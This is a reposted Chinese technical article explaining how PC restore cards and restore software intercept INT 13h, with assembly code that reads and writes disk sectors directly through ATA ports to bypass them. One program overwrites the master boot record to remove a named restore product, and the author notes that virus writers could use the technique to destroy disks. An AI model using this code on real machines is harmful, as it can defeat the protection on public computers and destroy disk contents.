




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、一種可以穿透還原卡和還原軟件的代碼原始文檔:創(chuàng)建時(shí)間:2003-12-07瀏覽次數(shù):4445原創(chuàng):wind_men (tyhhyf_at_)一種可以穿透還原卡和還原軟件的代碼CVC/GB 風(fēng)般的男人還原卡和還原軟件被廣泛運(yùn)用于各種公共場(chǎng)合的電腦上,比如學(xué)校機(jī)房和網(wǎng)吧。這些還原卡和還原軟件(以下我簡(jiǎn)稱為虛擬還原技術(shù))能夠記錄下一切對(duì)硬盤的寫操作,不論您對(duì)硬盤進(jìn)行拷貝還是移動(dòng)刪除甚至是格式化分區(qū)等操作,只要一重新啟動(dòng),一切都會(huì)恢復(fù)到這個(gè)操作之前的情況,因此有些虛擬還原廠商還會(huì)在廣告詞中加上一句“可以防范一切電腦病毒”。這種虛擬還原的方法在大部分時(shí)候的確可以對(duì)公共機(jī)房的電腦起到很好的保護(hù)作用,難道真
2、的沒有一種方法能夠穿透這種保護(hù)機(jī)制么?答案是否定的,下面請(qǐng)聽我一一道來。一、虛擬還原技術(shù)的原理本文所說的是一種普遍運(yùn)用于還原卡或還原軟件上的技術(shù),當(dāng)然,不同品牌不同廠商生產(chǎn)的可能不盡相同,但原理卻是相通的。首先,還原卡和還原軟件會(huì)搶先奪取引導(dǎo)權(quán),將原來的0頭0道1扇保存在一個(gè)其他的扇區(qū),(具體備份到那個(gè)扇區(qū)是不一定的),將自己的代碼寫入0頭0道1扇,從而能在操作系統(tǒng)之前得到執(zhí)行權(quán),這一點(diǎn)類似于一個(gè)引導(dǎo)型病毒;然后,我們來看看虛擬還原技術(shù)在操作系統(tǒng)之前都做了些什么:1將中斷向量表中的INT13H的入口地址保存;2把自己用于代替INT13H的代碼寫入內(nèi)存,并記住入口地址,當(dāng)然這種“寫入內(nèi)存”并不是
3、普通的“寫”,而是一種我們稱為“常駐”的方法,有關(guān)“常駐程序”的實(shí)現(xiàn)方法我們不另外花篇幅來描述了,如果你還不了解的話請(qǐng)自己找有關(guān)資料,也可以到或找風(fēng)般的男人交流;3將中斷向量表中INT13H的入口地址改為這段常駐程序的入口地址。補(bǔ)充一點(diǎn),虛擬還原程序在修改INT13H的入口后往往都會(huì)修改一些其他中斷入口,當(dāng)然也是通過常駐程序來實(shí)現(xiàn)的,這些中斷用來實(shí)現(xiàn)對(duì)中斷向量表中INT13H入口地址監(jiān)控,一旦發(fā)現(xiàn)被修改,就馬上把它改回,這樣做同樣是用來防止被有心人破解。好了,你已經(jīng)看出來了,這段用來替代BIOS提供的INT13H的代碼才是虛擬還原技術(shù)的關(guān)鍵,那么這段代碼到底實(shí)現(xiàn)了
4、些什么了,以下是本人對(duì)此拙淺的理解:1攔截所有INT13H中對(duì)硬盤0頭0道1扇的操作這些包括讀寫操作,把所有的對(duì)0頭0道1扇的操作改為對(duì)虛擬還原程序備份的那個(gè)扇區(qū)的操作,這樣做的目的是保護(hù)虛擬還原代碼不被破壞,并且不能被有心人讀出進(jìn)行破解,即使你用扇區(qū)編輯工具查看主引導(dǎo)區(qū),實(shí)際上你看到的是這個(gè)備份的主引導(dǎo)區(qū)。2攔截所有INT13H中的寫硬盤操作這里包括對(duì)8G以下的硬盤的普通通過磁頭、磁道、扇區(qū)定位的INT13H中的寫操作,和擴(kuò)展INT13H中基于扇區(qū)地址方式的對(duì)大硬盤的寫操作,甚至包括擴(kuò)展INT13H中對(duì)一些非IDE接口的硬盤的寫操作。至于攔截后做什么是虛擬還原技術(shù)實(shí)現(xiàn)的關(guān)鍵,在早期的DOS系
5、統(tǒng)當(dāng)中完全可以“什么都不做”,也就是說當(dāng)用戶寫硬盤時(shí)實(shí)際上是什么都沒做,但現(xiàn)在的操作系統(tǒng)都要對(duì)硬盤進(jìn)行一些必要的寫操作,比如對(duì)虛擬內(nèi)存的寫操作。眾所周知,虛擬內(nèi)存實(shí)際上就是硬盤,而如果禁止操作系統(tǒng)寫硬盤的話顯然后果是不堪設(shè)想的。所以,大多數(shù)虛擬還原廠商用的方法是占用一些硬盤空間,把硬盤所進(jìn)行的寫操作做一個(gè)記錄,等系統(tǒng)重新啟動(dòng)后還原這一記錄,但是怎樣科學(xué)記錄硬盤的寫操作,是我一直沒想通的問題,這種“科學(xué)”應(yīng)該體現(xiàn)在時(shí)間上和硬盤空間的占用量上的,也就是說怎么樣用最少的時(shí)間和最少的硬盤空間來記錄硬盤的寫操作是實(shí)現(xiàn)關(guān)鍵,如果有這方面想法的朋友歡迎和我交流;3備份端口70H,71H中的內(nèi)容,并把最后一次
6、執(zhí)行時(shí)端口70H,71H的內(nèi)容和備份的內(nèi)容做比較,不一樣就提示BIOS被修改,是否還原,并通過密碼驗(yàn)證修改BIOS是否合法。二、PC機(jī)的中斷機(jī)制中斷提供了最基本的硬件和軟件的接口,它使得程序員不必了解硬件系統(tǒng)的細(xì)節(jié),只要直接調(diào)用系統(tǒng)提供的中斷服務(wù)子程序,就可以完成相應(yīng)功能,這樣能使得程序設(shè)計(jì)更為方便。其實(shí)現(xiàn)機(jī)制如下:當(dāng)某一中斷源發(fā)出中斷請(qǐng)求時(shí),CPU能夠決定是否響應(yīng)這一中斷請(qǐng)求(當(dāng)CPU在執(zhí)行更為重要的工作時(shí),可以暫不響應(yīng)),如果允許響應(yīng)該中斷,CPU會(huì)在現(xiàn)行的指令執(zhí)行完后,把斷點(diǎn)處的下一條指令地址和各寄存器的內(nèi)容和標(biāo)志位的狀態(tài),推入堆棧進(jìn)行保護(hù),然后轉(zhuǎn)到中斷源服務(wù)程序的入口,進(jìn)行中斷處理,當(dāng)
7、中斷處理完成后,再恢復(fù)被保留的各寄存器、標(biāo)志位狀態(tài)和指令指針,使CPU返回?cái)帱c(diǎn),繼續(xù)執(zhí)行下一條指令。為了區(qū)別各個(gè)中斷,CPC系統(tǒng)給每個(gè)中斷都分配了一個(gè)中斷號(hào)N,比如INT 3H是斷點(diǎn)中斷,INT 10H是顯示中斷,我們今天要討論的主要是INT 13H磁盤讀寫中斷。要說清楚PC機(jī)上的中斷機(jī)制,用這一點(diǎn)篇幅是完全不夠的,這里我所說的只是一個(gè)大概,如果你不清楚的話,請(qǐng)查閱一些資料或和我交流,我們今天重要要說的就是以INT13H為例看看BIOS提供給我們的中斷到底都是在做什么?所謂BIOS中斷簡(jiǎn)單說就是你機(jī)器上的BIOS提供的中斷,那么在BIOS中斷的后面,到底是些什么呢?實(shí)際上是一些對(duì)端口的輸入輸出
8、操作,PC的每個(gè)端口都實(shí)現(xiàn)特定的功能,我們完全可以不調(diào)用BIOS提供的中斷而直接用輸入輸出指令對(duì)這些端口進(jìn)行操作,從而可以實(shí)現(xiàn)象調(diào)用BIOS中斷一樣的功能,但是一個(gè)前提是你必須對(duì)這些端口有詳細(xì)的了解。反過來說,PC的中斷系統(tǒng)的一大好處就是能夠讓程序員無(wú)須了解系統(tǒng)底層的硬件知識(shí)的而能夠編程,從這點(diǎn)看,中斷有點(diǎn)象我們平時(shí)所說的“封裝”,我不知道這樣說對(duì)不對(duì),但的確中斷為我們“封裝”了許多系統(tǒng)底層的細(xì)節(jié)。三、硬盤讀寫端口的具體含義 對(duì)硬盤進(jìn)行操作的常用端口是1f0h1f7h號(hào)端口,各端口含義如下:端口號(hào) 讀還是寫 具體含義1F0H 讀/寫 用來傳送讀/寫的數(shù)據(jù)(其內(nèi)容是正在傳輸?shù)囊粋€(gè)字節(jié)的數(shù)據(jù))1F
9、1H 讀 用來讀取錯(cuò)誤碼1F2H 讀/寫 用來放入要讀寫的扇區(qū)數(shù)量1F3H 讀/寫 用來放入要讀寫的扇區(qū)號(hào)碼1F4H 讀/寫 用來存放讀寫柱面的低8位字節(jié)1F5H 讀/寫 用來存放讀寫柱面的高2位字節(jié)(其高6位恒為0)1F6H 讀/寫 用來存放要讀/寫的磁盤號(hào)及磁頭號(hào) 第7位 恒為1 第6位 恒為0 第5位 恒為1 第4位 為0代表第一塊硬盤、為1代表第二塊硬盤 第30位 用來存放要讀/寫的磁頭號(hào)1f7H 讀 用來存放讀操作后的狀態(tài) 第7位 控制器忙碌 第6位 磁盤驅(qū)動(dòng)器準(zhǔn)備好了 第5位 寫入錯(cuò)誤 第4位 搜索完成 第3位 為1時(shí)扇區(qū)緩沖區(qū)沒有準(zhǔn)備好 第2位 是否正確讀取磁盤數(shù)據(jù) 第1位 磁盤
10、每轉(zhuǎn)一周將此位設(shè)為1, 第0位 之前的命令因發(fā)生錯(cuò)誤而結(jié)束 寫 該位端口為命令端口,用來發(fā)出指定命令 為50h 格式化磁道 為20h 嘗試讀取扇區(qū) 為21h 無(wú)須驗(yàn)證扇區(qū)是否準(zhǔn)備好而直接讀扇區(qū) 為22h 嘗試讀取長(zhǎng)扇區(qū)(用于早期的硬盤,每扇可能不是512字節(jié),而是128字節(jié)到1024之間的值) 為23h 無(wú)須驗(yàn)證扇區(qū)是否準(zhǔn)備好而直接讀長(zhǎng)扇區(qū) 為30h 嘗試寫扇區(qū) 為31h 無(wú)須驗(yàn)證扇區(qū)是否準(zhǔn)備好而直接寫扇區(qū) 為32h 嘗試寫長(zhǎng)扇區(qū) 為33h 無(wú)須驗(yàn)證扇區(qū)是否準(zhǔn)備好而直接寫長(zhǎng)扇區(qū)注:當(dāng)然看完這個(gè)表你會(huì)發(fā)現(xiàn),這種讀寫端口的方法其實(shí)是基于磁頭、柱面、扇區(qū)的硬盤讀寫方法,不過大于8G的硬盤的讀寫方法也
11、是通過端口1F0H1F7H來實(shí)現(xiàn)的_四、一個(gè)通過對(duì)硬盤輸入輸出端口操作來讀寫硬盤的實(shí)例讓我們來看一個(gè)關(guān)于INT13H讀寫硬盤程序?qū)嵗?。在例子中詳?xì)說明了硬盤的讀寫操作所用到的端口,并且把通過INT13H讀出的主引導(dǎo)區(qū)得到的數(shù)據(jù)和通過輸入輸出讀主引導(dǎo)區(qū)得到的數(shù)據(jù)進(jìn)行比較,從而證實(shí)這兩種操作功能相同,程序片段如下:mov dx,1f6h ; 要讀入的磁盤號(hào)及磁頭號(hào)mov al,0a0h ;磁盤0,磁頭0 out dx,almov dx,1f2h ;要讀入的扇區(qū)數(shù)量mov al,1 ;讀一個(gè)扇區(qū) out dx,almov dx,1f3h ;要讀的扇區(qū)號(hào)mov al,1 ;扇區(qū)號(hào)為1out dx,al
12、mov dx,1f4h ;要讀的柱面的低8位mov al,0 ; 柱面低8位為0out dx,almov dx,1f5h ; 柱面高2位 mov al,0 ; 柱面高2位為0(通過1F4H和1F5H端口我們可以確定; 用來讀的柱面號(hào)是0)out dx,almov dx,1f7h ;命令端口mov al,20h ; 嘗試讀取扇區(qū)out dx,alstill_going:in al,dxtest al,8 ;扇區(qū)緩沖是否準(zhǔn)備好jz still_going ;如果扇區(qū)緩沖沒有準(zhǔn)備好的話則跳轉(zhuǎn),直到準(zhǔn)備好才向下執(zhí)行。mov cx,512/2 ;設(shè)置循環(huán)次數(shù)(512/2次)mov di,offset b
13、uffermov dx,1f0h ;將要傳輸?shù)囊粋€(gè)字節(jié)的數(shù)據(jù)rep insw ;傳輸數(shù)據(jù); -mov ax,201h ;以下是用INT13H讀硬盤的0磁頭、0柱面、1扇區(qū)mov dx,80hmov cx,1mov bx,offset buffer2int 13hmov cx,512 ;以下部分用來比較2種方法讀出的硬盤數(shù)據(jù)mov si,offset buffermov di,offset buffer2repe cmpsbjne failuremov ah,9mov dx,offset readmsgint 21hjmp good_exitfailure:mov ah,9mov dx,offs
14、et failmsgint 21hgood_exit: ;以下部分用來結(jié)束程序mov ax,4c00h ;退出程序int 21hreadmsg db 'The buffers match. Hard disk read using ports.$'failmsg db 'The buffers do not match.$'buffer db 512 dup ('V')buffer2 db 512 dup ('L')五、可以穿透還原卡或是還原軟件保護(hù)的代碼你可以對(duì)照硬盤讀寫端口含義表,再好好看看上面的例子,你將會(huì)對(duì)硬盤讀寫端口有一
15、個(gè)比較深的理解。好了,到了該把謎底揭曉的時(shí)候了,重新回到我們的主題。正如你現(xiàn)在想象的,這種可以穿透還原卡或是還原軟件保護(hù)的代碼的確是對(duì)硬盤讀寫端口的輸入輸出操作?,F(xiàn)在,我們已經(jīng)可以從原理上理解了,還原卡攔截的是中斷操作,但卻攔截不了輸入輸出操作,而用輸入輸出操作足夠可以對(duì)硬盤進(jìn)行寫操作了,當(dāng)然用輸入輸出操作也完全可以讀到被虛擬還原程序屏蔽的關(guān)鍵部分,被還原卡或是還原軟件屏蔽的0頭0道1扇。知道了這一原理以后,可能是仁者見仁智者見智的,如果你是一個(gè)虛擬還原技術(shù)的破解者、一個(gè)病毒制造者,或是虛擬還原技術(shù)的設(shè)計(jì)者,往往對(duì)此的理解都是不盡相同的。在此強(qiáng)調(diào)我不贊成制造病毒,但一個(gè)病毒制造者完全可以用此原
16、理寫出一個(gè)可以實(shí)現(xiàn)破壞裝有還原卡或還原軟件的機(jī)器了,所以我要提醒虛擬還原用戶的是,不要以為裝有還原卡或是還原軟件就掉以輕心,要知道世界上還是有病毒能夠穿透虛擬還原技術(shù)的保護(hù),達(dá)到破壞硬盤的目的的,想象一下如果把這一原理運(yùn)用到CIH病毒中,或者運(yùn)用到硬盤殺手病毒中,其后果是不堪設(shè)想的。談?wù)勅绾斡眠@種可以穿透虛擬還原技術(shù)的代碼來破解還原軟件(如還原精靈)吧。以下是我寫的用來測(cè)試破解還原精靈的代碼,本代碼編譯后的程序需要在純DOS環(huán)境執(zhí)行,在DOS下我用這段代碼成功的把還原精靈給卸載了。.286CODE SEGMENT ASSUME CS:CODE,DS:code,ES:codeSTART:;-;以
17、下代碼用INT13H讀主引導(dǎo)區(qū)mov ax,0201hmov dx,0080hmov cx,0001hmov bx,7c00hint 13h;-;以下代碼用I/O端口來寫主引導(dǎo)區(qū)mov dx,1f6h ; 要讀入的磁盤號(hào)及磁頭號(hào)mov al,0a0h ; 磁盤0,磁頭0out dx,almov dx,1f2h ; 要寫的扇區(qū)數(shù)量mov al,1 ; 寫一個(gè)扇區(qū)out dx,almov dx,1f3h ;要寫的扇區(qū)號(hào)mov al,1 ;寫到1扇區(qū)out dx,almov dx,1f4h ; 要寫的柱面的低8位mov al,0 ; 低8位為0out dx,almov dx,1f5h ; 要寫的柱面
18、的高2位mov al,0 ; 高2位為0out dx,almov dx,1f7h ;命令端口mov al,30h ;嘗試著寫扇區(qū).out dx,aloogle:in al,dxtest al,8 ;磁盤扇區(qū)緩沖是否準(zhǔn)備好jz ooglemov cx,512/2 ;設(shè)置循環(huán)次數(shù)(512/2)mov si,7c00hmov dx,1f0h ;數(shù)據(jù)端口,用來存放要發(fā)送的數(shù)據(jù).rep outsw ;發(fā)送數(shù)據(jù).; -;退出程序mov ah,4chint 21CODE ENDS END START上面的程序非常簡(jiǎn)單,說明如下:1、先把被還原精靈備份的原來的主引導(dǎo)區(qū)用INT13H讀出來,這里雖然是對(duì)0頭0道1扇進(jìn)行讀操作,但實(shí)際上是在讀被還原精靈把原來的主引導(dǎo)區(qū)備份進(jìn)去的那個(gè)扇區(qū);2、把讀出的原來的主引導(dǎo)區(qū)通過輸入輸出操作寫進(jìn)真正的主引導(dǎo)區(qū),換句話說就是把還原精靈給徹底刪除了,此時(shí)重新啟動(dòng)你將發(fā)現(xiàn)還原精靈已經(jīng)沒有了。我寫了個(gè)FORWIN98/NT/XP的卸載還原精靈等軟件的程序,大家可到下載,不過已經(jīng)有人先我一步了,那就是網(wǎng)吧終結(jié)者出的一個(gè)清MBR的程序,我試了一下,發(fā)現(xiàn)的確有用,我還沒有仔細(xì)分析該程序,但我敢肯定其原理差不多。那個(gè)程序?qū)懙貌诲e(cuò),不過我認(rèn)為有一點(diǎn)需要改進(jìn),我的硬盤的MBR程序是我自己寫的,用來實(shí)現(xiàn)多引導(dǎo)操作,當(dāng)我執(zhí)行完該清MBR程序后,我的多
溫馨提示
- 1. 本站所有資源如無(wú)特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 合同視角下的產(chǎn)品經(jīng)銷三方合作
- 工業(yè)園區(qū)食堂勞務(wù)合同標(biāo)準(zhǔn)版
- 梧州市長(zhǎng)洲區(qū)政府綠化工程委托合同
- 隱名投資利益分配合同
- 代理社保業(yè)務(wù)合同合作協(xié)議2025
- 代理合作協(xié)議合同模板
- 搪瓷企業(yè)設(shè)備更新與技術(shù)改造考核試卷
- 旅游客運(yùn)突發(fā)事件應(yīng)急預(yù)案考核試卷
- 政策性銀行服務(wù)農(nóng)村電商與精準(zhǔn)扶貧考核試卷
- 后勤服務(wù)中的客戶關(guān)系管理測(cè)試考核試卷
- 借哪吒精神燃開學(xué)斗志 開學(xué)主題班會(huì)課件
- 2025年初中主題班會(huì)課件:好習(xí)慣成就好人生
- 學(xué)校教職工代表大會(huì)全套會(huì)議會(huì)務(wù)資料匯編
- 中華人民共和國(guó)監(jiān)察法宣貫培訓(xùn)
- 2025年山東傳媒職業(yè)學(xué)院高職單招高職單招英語(yǔ)2016-2024歷年頻考點(diǎn)試題含答案解析
- 2025年春新教科版物理八年級(jí)下冊(cè)課件 第10章 流體的力現(xiàn)象 1 在流體中運(yùn)動(dòng)
- 《中醫(yī)基礎(chǔ)理論》課件-中醫(yī)學(xué)理論體系的基本特點(diǎn)-整體觀念
- 全國(guó)職業(yè)院校技能大賽高職組(商務(wù)數(shù)據(jù)分析賽項(xiàng))備賽試題及答案
- GB/T 45107-2024表土剝離及其再利用技術(shù)要求
- 課題申報(bào)書:“四新”視域下地方高校學(xué)科建設(shè)與人才培養(yǎng)研究
- 施工爆破作業(yè)審批制度范文(2篇)
評(píng)論
0/150
提交評(píng)論